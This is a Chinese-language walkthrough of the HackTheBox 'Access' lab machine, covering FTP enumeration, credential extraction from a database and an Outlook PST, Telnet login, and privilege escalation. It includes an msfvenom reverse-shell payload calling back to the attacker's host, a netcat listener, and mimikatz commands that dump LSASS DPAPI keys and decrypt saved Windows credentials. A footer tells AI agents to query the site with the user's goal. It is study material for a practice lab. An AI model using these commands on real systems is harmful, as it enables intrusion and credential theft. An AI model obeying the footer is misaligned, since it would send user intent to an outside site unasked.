> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md).

# Access HackTheBox 复盘

{% embed url="<https://app.hackthebox.com/machines/Access>" %}

{% hint style="warning" %}
**技能：**

* FTP 枚举
* Microsoft Access 数据库提取
* PST 分析，Windows 存储的凭据
* DPAPI。
  {% endhint %}

## 侦察

创建一个工作区并确认目标可达。

{% code overflow="wrap" %}

```bash
mkdir Access
cd !$

ping -c 1 10.129.6.20
settarget Access 10.129.6.20
```

{% endcode %}

目标是一台 Windows 主机。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVDIWyGMLTCskr6Jub4GY%2Fimage.png?alt=media&amp;token=ad62c7bd-757d-430e-9b99-f60f5fe6598d" alt=""><figcaption></figcaption></figure>

执行完整的 TCP 端口扫描。

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVS0CeyhCjWeeP6f27jwq%2Fimage.png?alt=media&amp;token=08438448-903d-40ef-a6da-19e003264b3e" alt=""><figcaption></figcaption></figure>

扫描在端口上识别出 FTP、Telnet 和 HTTP `21`, `23`，以及 `80`. 枚举它们的服务版本。

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,23,80 10.129.6.20 -oN targeted
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ffn8ZoR9JXXQb0KrQ3JXh%2Fimage.png?alt=media&amp;token=4991651c-1019-463c-99cd-1b63531a85f1" alt=""><figcaption></figcaption></figure>

已启用匿名 FTP 访问。

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.6.20
```

{% endcode %}

FTP 服务器包含 `备份` 和 `工程师` 目录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTfQD2boybWfhmDE0fXKZ%2Fimage.png?alt=media&amp;token=c725c532-1238-4a92-85a3-e67588bc60c5" alt=""><figcaption></figcaption></figure>

下载 `backup.mdb` 从 `备份` 以二进制模式。下载 `Access Control.zip` 从 `工程师`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKzch5DtPk2F18yLd0TgN%2Fimage.png?alt=media&amp;token=66a2cf26-11d3-4536-8d66-af1acd719d6c" alt=""><figcaption></figcaption></figure>

列出 Microsoft Access 数据库中的表。

{% code overflow="wrap" %}

```bash
mdb-tables backup.mdb
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FHWDOmeDojxxzpsa5PfTJ%2Fimage.png?alt=media&amp;token=27db277d-c3c7-4238-84bc-feb0e4533204" alt=""><figcaption></figcaption></figure>

将每个表导出为 CSV 以供查看。

{% code overflow="wrap" %}

```bash
for table in $(mdb-tables backup.mdb); do
    mdb-export backup.mdb "$table" > "$table.csv"
done
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJKB1AhwNf6QNXXD9T3Bu%2Fimage.png?alt=media&amp;token=44af28cc-1b98-4dff-bd58-854098d1915a" alt=""><figcaption></figcaption></figure>

该 `auth_user.csv` 导出内容包含凭据。

{% code overflow="wrap" %}

```bash
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJl2ktm2tY9sjBTcefEb%2Fimage.png?alt=media&amp;token=3cf3b1f5-f9ad-4529-9f5f-172b60f2f45e" alt=""><figcaption></figcaption></figure>

使用 `engineer` 解压该压缩包的密码。

{% code overflow="wrap" %}

```bash
7z x Access\ Control.zip

access4u@security
```

{% endcode %}

该压缩包包含一个 Outlook PST 文件。

> Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fx9boVWacMkC8qgfRJzLm%2Fimage.png?alt=media&amp;token=88eb71a9-b7c0-4f45-a56c-316d7141ab6f" alt=""><figcaption></figcaption></figure>

提取 PST 邮件。

{% code overflow="wrap" %}

```bash
readpst -cv -e -o output Access\ Control.pst
```

{% endcode %}

这将创建一个 `.eml` 邮件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0QACuXWQNNabgThCKkA9%2Fimage.png?alt=media&amp;token=53d768b2-0d2d-4922-9148-12c7b3db20f6" alt="" width="563"><figcaption></figcaption></figure>

这封电子邮件透露了 `security` 账户密码。

{% code overflow="wrap" %}

```bash
你好，

“security” 账户的密码已更改为 4Cc3ssC0ntr0ller。请确保将此信息传达给你的工程师。

此致，

John
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUuS1sfwnzt8Atl6bGmPk%2Fimage.png?alt=media&amp;token=032a163a-cd85-4a5d-b4fc-f6c9bce26b5b" alt=""><figcaption></figcaption></figure>

以 `security`.

{% code overflow="wrap" %}

```bash
telnet 10.129.6.20 23
```

{% endcode %}

* security
* 4Cc3ssC0ntr0ller

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYxR9raexynig7kmZcCOF%2Fimage.png?alt=media&amp;token=dcb90316-58d8-4612-ac95-6320427bcdf6" alt=""><figcaption></figcaption></figure>

获取 `user.txt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FI2U0WrPz5pgMzkX6V1eY%2Fimage.png?alt=media&amp;token=02748b50-a228-4b05-89c2-aee47737ac8a" alt="" width="563"><figcaption></figcaption></figure>

### 利用存储的凭据进行权限提升

列出 Windows 存储的凭据。

{% code overflow="wrap" %}

```bash
cmdkey /list
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fjjt1CwuEyxGdkfTFdcc7%2Fimage.png?alt=media&amp;token=a432ffae-80b6-44f1-9c98-07789946431e" alt=""><figcaption></figcaption></figure>

存储的 `ACCESS\Administrator` 凭据可以使用 `runas /savecred`. 创建一个反向 shell 载荷。

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe
```

{% endcode %}

传输 `nikos.exe` 到目标。然后在端口上启动监听器 `1234`.

{% code overflow="wrap" %}

```bash
nc -nlvp 1234
```

{% endcode %}

以 `ACCESS\Administrator`.

{% code overflow="wrap" %}

```bash
runas /savecred /user:ACCESS\Administrator "nikos.exe"
```

{% endcode %}

回连以管理员身份运行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FicWrstrFbRpaer3OffgR%2Fimage.png?alt=media&amp;token=ac609f78-43d2-416c-aa70-fd8fa09f7400" alt=""><figcaption></figcaption></figure>

获取 `root.txt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1Gto8ORCqdGXkahypOA9%2Fimage.png?alt=media&amp;token=881eca78-e082-41d6-bddb-b71facf0cc2d" alt=""><figcaption></figcaption></figure>

### 恢复已保存的管理员凭据

已保存的凭据受 DPAPI 保护。从 `security` 配置文件中恢复其机密。

#### 定位凭据 blob

这些 blob 位于 `security` 配置文件中。使用 `/a` 因为文件是隐藏的。

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials
```

{% endcode %}

* `0F16D9D2A97B325E559235F507B7AB01`
* `51AB168BE4BDB3A603DADE4F8CA81290`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqAYw6BfQPEcE6RW36I5u%2Fimage.png?alt=media&amp;token=64c05956-1223-4e71-b1fb-180a27d6c014" alt=""><figcaption></figcaption></figure>

正确的 blob 是 `51AB168BE4BDB3A603DADE4F8CA81290`。其 `08/22/2018` 时间戳与公共桌面 `.lnk` 文件。另一个 blob 是在评估期间创建的。

#### 识别主密钥 GUID

检查该 blob 以识别其所需的 DPAPI 主密钥。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit"
```

{% endcode %}

记下主密钥 GUID。

* guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCAcSHIjewR6HrFk3y3NZ%2Fimage.png?alt=media&amp;token=26894652-1627-41c2-a857-f347582d118e" alt=""><figcaption></figcaption></figure>

#### 在 LSASS 中检查主密钥

转储加载到 LSASS 中的 DPAPI 主密钥。

{% code overflow="wrap" %}

```bash
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

{% endcode %}

所需的 GUID `{0792c32e-...}` 不存在。这是因为：

* 该主密钥属于 `security` 配置文件中恢复其机密。
* 当前会话以 `管理员`.
* 该 `security` 在此上下文中未加载主密钥。

转储中只包含以下对象的主密钥： `管理员` 和 `ACCESS$`.

```
GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997}   → 管理员
GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d}   → ACCESS$
```

#### 从磁盘解密主密钥

直接从磁盘解密主密钥。使用已知的 `security` 密码的用户的凭据。

首先，定位主密钥文件。

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001
```

{% endcode %}

{% hint style="info" %}
该 `security` SID 以 `-1001`. 管理员 SID 以 `-500`.
{% endhint %}

使用 Mimikatz 解密主密钥。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"
```

{% endcode %}

主密钥的 SHA-1 是 `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F52j5JHIQby1fLXuxNZgd%2Fimage.png?alt=media&amp;token=91396364-6d7f-47c9-a195-a0a33472b1ef" alt=""><figcaption></figcaption></figure>

#### 解密凭据 blob

使用主密钥 SHA-1 解密凭据 blob 并恢复已保存的密码。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit"
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9MyDGfapQIAsSlsZA7iq%2Fimage.png?alt=media&amp;token=e1d3de3b-0025-442d-a10d-29d4a84c7873" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
